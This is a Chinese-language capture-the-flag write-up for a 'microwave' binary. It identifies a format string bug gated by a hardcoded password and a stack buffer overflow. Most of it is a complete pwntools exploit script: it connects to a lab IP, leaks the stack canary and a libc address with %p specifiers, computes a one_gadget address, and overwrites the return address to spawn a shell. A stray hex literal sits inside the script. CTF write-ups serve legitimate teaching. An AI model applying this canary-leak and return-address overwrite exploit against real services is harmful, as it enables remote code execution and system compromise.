1.查看保护机制以及搭建环境:


2.ubuntu运行ida64远程调试文件,ida64打开程序分析:



该程序由三个选项,3是没用的,只有1和2选项有用。
(1).漏洞函数2 的sub_560712E77F00函数,有格式化字符串漏洞,但由于开了FORTIFY不能改写地址,并且输入的password(main函数的v3+40处)必须为n07_7h3_fl46,否则 a1+60 (v3+60)处就为0,无法触发第一个漏洞函数。
(2).漏洞函数1的sub_560712E78000函数,有栈溢出漏洞。可以覆盖返回地址。

3.漏洞利用:


通过漏洞函数2的格式化字符串漏洞,打印出堆栈中的数据,通过在栈中查找可以发现泄漏出来有canary值和libc加载到程序中的函数地址,这样就可以通过 提供的libc文件,查找对应函数的地址以及one_gadget地址,然后计算出偏移,进行getshell。


编写exp:
from pwn import *
0x7f41b4d7b708
context.binary = './microwave'
#libc_6_stdout_add = 0x3c26e8
#libc_6_one_gadget_add = 0x45526
#上面两个地址是题目给的libc6
#然而在搭建环境的ubuntu中,ldd 查看程序中是用系统中的libc6,所以地址为以下
libc_6_stdout_add = 0x3c5708
libc_6_one_gadget_add = 0x45216
password = 'n07_7h3_fl46'
link = remote("192.168.93.137","6666")
link.recvuntil("[MicroWave]: ")
link.sendline('1')
link.recvuntil("username: ")
link.sendline("%p."* 7)
link.recvuntil("password: ")
link.sendline(password)
recv1 = link.recvuntil("Twitter account")
arr = recv1.split()[1].split('.')
canary = int(arr[5],16)
stdout_add = int(arr[6],16)
py_add = stdout_add - libc_6_stdout_add
one_gadget_add = py_add + libc_6_one_gadget_add
link.recvuntil("[MicroWave]: ")
link.sendline('2')
link.recv("#> ")
payload = 'A' * 0x408 #padding
payload += p64(canary) #canary
payload += 'A' * 0x8 #rbp
payload += p64(one_gadget_add) #rip
link.send(payload)
link.interactive()
